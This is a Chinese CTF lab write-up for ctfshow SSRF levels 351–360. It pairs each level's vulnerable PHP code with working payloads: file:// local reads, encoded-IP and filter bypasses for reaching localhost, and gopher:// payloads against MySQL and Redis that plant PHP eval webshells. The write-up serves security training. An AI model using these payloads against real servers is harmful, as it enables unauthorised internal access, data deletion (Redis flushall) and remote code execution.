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ctfshow-web入门 ssrf篇

2021-03-06 10:33:44 作者：互联网

ctfshow

SSRF

SSRF

简介

服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。

危害

SSRF可以对外网、服务器所在内网、本地进行端口扫描，攻击运行在内网或本地的应用，或者利用File协议读取本地文件。

内网服务防御相对外网服务来说一般会较弱，甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证，所以存在SSRF时，通常会造成较大的危害。

web351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

没有过滤，使用file协议读取本地文件

payload:

POST:url=file:///var/www/html/flag.php

然后f12查看flag

web352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

parse_url

parse_url是一计算机函数，功能是解析一个 URL 并返回一个关联数组，包含在 URL 中出现的各种组成部分

如果省略了 component 参数，将返回一个关联数组 array，在目前至少会有一个元素在该数组中。数组中可能的键有以下几种：

scheme - 如 http
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后

姿势

url=http://127.0.0.1/flag.php

web353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

这题过滤更加严格，考虑进制变换，IP地址进制转换网站

更改IP地址写法

y4带佬的姿势更全，直接嫖过来了

十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式，还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
还有很多方式不想多写了
url=http://0/flag.php
url=http://0.0.0.0/flag.php

web354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

跟大佬学的302跳转绕过:浅谈DNS重绑定漏洞

POST:url=http://sudo.cc/flag.php

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker

这题限制strlen($host)<=5，127.0.0.1中的0可以省略，即写成127.1，此时仍然与127.0.0.1等效，但是长度缩短了

payload:

POST:url=http://127.1/flag.php

web356

总体和web355差不多，这题限制的strlen($host)<=3，更加严格

这题的姿势点是0.0.0.0特殊ip，被保留，可当作127.0.0.1，再结合前一题的省略多余的0

payload:

POST:url=http://0/flag.php

web357

原理与web354类似，具体可以参考羽师傅的文章

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

这里的正则表示以http://ctf.开头，以show结尾，即匹配http://ctf.*show

还有一个重点就是parse_url函数，具体查看php手册

最终payload(127.0.0.1也可以换成其他形式):

POST:url=http://ctf.@127.0.0.1/flag.php?show
POST:url=http://ctf.@127.0.0.1/flag.php#show

具体原理：
如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容，如果不在show前面加#或?，会把show也解析到path中，得不到想要的结果
在这里插入图片描述

web359(打无密码的mysql)

工具下载地址:https://github.com/tarunkant/Gopherus

在这里插入图片描述
拿到

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01

但是不能直接使用，因为gopher://127.0.0.1:3306/_后面的内容需要再urlencode一次，最后得到

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2545%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%2501%2500%2500%2500%2501

回到环境中，随便输入账号密码跳转到check.php,然后post传参：returl=xxx(把上面得到的传进去)

然后一句话就写进去了，再访问url/1.php (1.php是我指定的文件名)，随后命令执行即可
在这里插入图片描述

web360(打redis)

步骤和上题差不多
在这里插入图片描述
这里默认是生成shell.php

依旧是urlencode

gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

传参，然后命令执行
在这里插入图片描述

标签：web,ch,ssrf,00%,url,250D%,2500%,ctfshow,250A%
来源： https://blog.csdn.net/weixin_45696568/article/details/114434596